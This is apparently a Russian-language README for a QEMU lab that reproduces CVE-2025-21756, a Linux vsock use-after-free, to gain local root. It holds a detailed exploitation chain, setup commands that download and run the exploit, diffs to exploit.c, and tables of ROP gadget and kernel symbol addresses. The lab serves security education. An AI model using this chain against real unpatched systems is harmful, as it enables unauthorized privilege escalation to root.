
Образовательная лаборатория, демонстрирующая эксплуатацию use-after-free (UAF) в подсистеме vsock ядра Linux для локального повышения привилегий до root, с автоматической настройкой и анализом ROP-цепочек.
Только для образовательных целей и авторизованных исследований безопасности.
CVE-2025-21756 — это use-after-free (UAF) уязвимость в подсистеме vsock (Virtual Socket) ядра Linux, раскрытая 26 февраля 2025 года. Она позволяет локальному атакующему повысить привилегии до root на уязвимых системах Linux.
net/vmw_vsock/af_vsock.cОшибка возникает во время переназначения транспорта сокета vsock. Уязвимая последовательность:
vsock_create() создает сокет с refcnt=2 и вставляет его в список несвязанных сокетовtransport->release() вызывает vsock_remove_bound() без проверки, был ли сокет перемещен в список связанных, что некорректно уменьшает refcntvsock_bind() предполагает, что сокет все еще в списке несвязанных, и снова вызывает _vsock_remove_bound()refcnt преждевременно достигает 0 → объект vsock освобождается, пока на него еще есть ссылки → UAFvoid vsock_remove_sock(struct vsock_sock *vsk)
{
- vsock_remove_bound(vsk);
+ if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+ vsock_remove_bound(vsk);
vsock_remove_connected(vsk);
}
connect() с CID, которые приводят к разным транспортам, вызывают преждевременное освобождение объекта vsock, пока он все еще связан в vsock_bind_tableunix_dgram_sendmsg с сообщениями порядка 2 (MIGRATE_UNMOVABLE), заполняя ее контролируемыми даннымиvsock_diag_dump (не защищенный AppArmor) используется как побочный канал для обнаружения момента перехвата страницы и определения точного смещения объекта жертвы внутри страницыsk->sk_prot перезаписывается для указания на udp_prot+0x1c0 (udp_abort), который при вызове активирует sk->sk_error_report(sk), чей указатель перезаписан гаджетом смещения стекаcommit_creds(init_cred) для присвоения процессу корневых учетных данных, за которым следует трамплин KPTI для возврата в пользовательское пространствоexecve("/bin/sh") с uid=0sudo# Download the setup script
wget -O setup-lab.sh <SCRIPT_URL>
chmod +x setup-lab.sh
# Run as a normal user (not root)
./setup-lab.sh
Скрипт автоматически обрабатывает:
sudo, если он отсутствуетbuild-essential, qemu-system-x86, bc, pahole и т.д.)lts-6.6.75, rootfs, ramdisk)run_lab.sh как единой точки входаcd ~/cve-2025-21756-lab
./run_lab.sh
После загрузки среды выполните внутри нее:
wget -O /tmp/exploit http://10.0.2.2:8080/exploit
chmod +x /tmp/exploit
/tmp/exploit
[*] Saved state
[+] KBASE @ 0xffffffff81000000
...
[END] SUCCESSFULLY FREED THE TARGET SLAB
...
[END] Found the correct offset! ROP pls
...
[*] I AM ROOT
# id
uid=0(root) gid=0(root) groups=0(root)
Для выхода: Ctrl-A X
Базовый эксплойт взят из ktranowl. Были применены следующие модификации для его работы в этой среде:
Модификация: nokaslr добавлен в параметры загрузки ядра.
Причина: Оригинальный эксплойт обходит KASLR с помощью EntryBleed — метода побочного канала по времени TLB, требующего точного времени CPU. В среде вложенной виртуализации точность rdtsc недостаточна для надежной работы EntryBleed, что приводит к неправильному kbase, из-за чего все адреса, вычисленные с помощью ADDRESS(), оказываются неверными. Отключение KASLR гарантирует, что ядро всегда загружается по адресу 0xffffffff81000000, и жестко заданные смещения в эксплойте всегда корректны.
user_rip changed from modeprobe_exec to check_rootМодификация в exploit.c:
// Before
uint64_t user_rip = (uint64_t)modeprobe_exec;
// After
uint64_t user_rip = (uint64_t)check_root;
Причина: modeprobe_exec — это метод повышения привилегий, использованный в оригинальном эксплойте для удаленной среды kCTF. Он требует аргументов командной строки (IP и порт удаленного сервера) и внешнего сетевого подключения. Без этих аргументов процесс аварийно завершается с GPF при попытке чтения argv[1]. check_root напрямую проверяет uid и выполняет /bin/sh, что достаточно для демонстрации эксплуатации в локальной среде.
modeprobe_exec call inside check_rootМодификация в exploit.c:
void check_root() {
if (getuid() == 0) {
puts("[*] I AM ROOT");
- modeprobe_exec(); // removed
char binsh[] = "/bin/sh";
char* const argv[] = {binsh, NULL};
execve("/bin/sh", argv, 0);
}
}
Причина: Даже при указании user_rip на check_root, эта функция внутренне снова вызывала modeprobe_exec перед выполнением /bin/sh. Без необходимых аргументов этот вызов приводил к GPF, и процесс завершался без открытия оболочки, несмотря на то, что commit_creds уже успешно повысил привилегии.
В процессе настройки лаборатории все символы ядра и гаджеты ROP были проверены на соответствие официальному ядру kCTF lts-6.6.75, чтобы подтвердить их валидность для этой среды.
Три гаджета, использованные в эксплойте, были извлечены из официального ядра с помощью ROPgadget из бинарного файла vmlinux и подтверждены как точно соответствующие жестко заданным значениям:
| Гаджет | Адрес | Назначение |
|---|---|---|
pop rax ; and eax, ... ; pop rsp ; jmp ... | 0xffffffff8122ad32 | Смещение стека — перемещает RSP в начало управляемого объекта vsock |
add rsp, 0xb8 ; jmp ... | 0xffffffff8170292c | Продвижение стека — пропускает зарезервированные поля для достижения цепочки ROP |
pop rdi ; ret | 0xffffffff8115e4f9 | Загружает первый аргумент для commit_creds(init_cred) |
Ни один из них не потребовал модификации.
Следующие символы были проверены на соответствие /proc/kallsyms внутри ядра (с nokaslr смещения фиксированы):
| Символ | Адрес | Примечания |
|---|---|---|
vsock_bind_table[0x7a] | 0xffffffff84bc6280 | Якорь побочного канала — слот списка vsock, куда попадает объект жертвы |
init_net | 0xffffffff84bb1f80 | Используется для проверки поддельного объекта vsock через vsock_diag_dump |
commit_creds | 0xffffffff811fdac0 | Назначает корневые учетные данные текущему процессу |
init_cred | 0xffffffff83c74d80 | Структура учетных данных с uid=gid=0, с фиксированным смещением от базы ядра |
kpti_trampoline | 0xffffffff826011a6 | swapgs_restore_regs_and_return_to_usermode+0x36 — восстанавливает CR3 и возвращается в пользовательское пространство |
address_contain_udp_abort | 0xffffffff83ef28e0 | udp_prot + 0x1c0 — см. примечание ниже |
Все значения совпали с оригинальными в эксплойте. Модификации не потребовались.
address_contain_udp_abort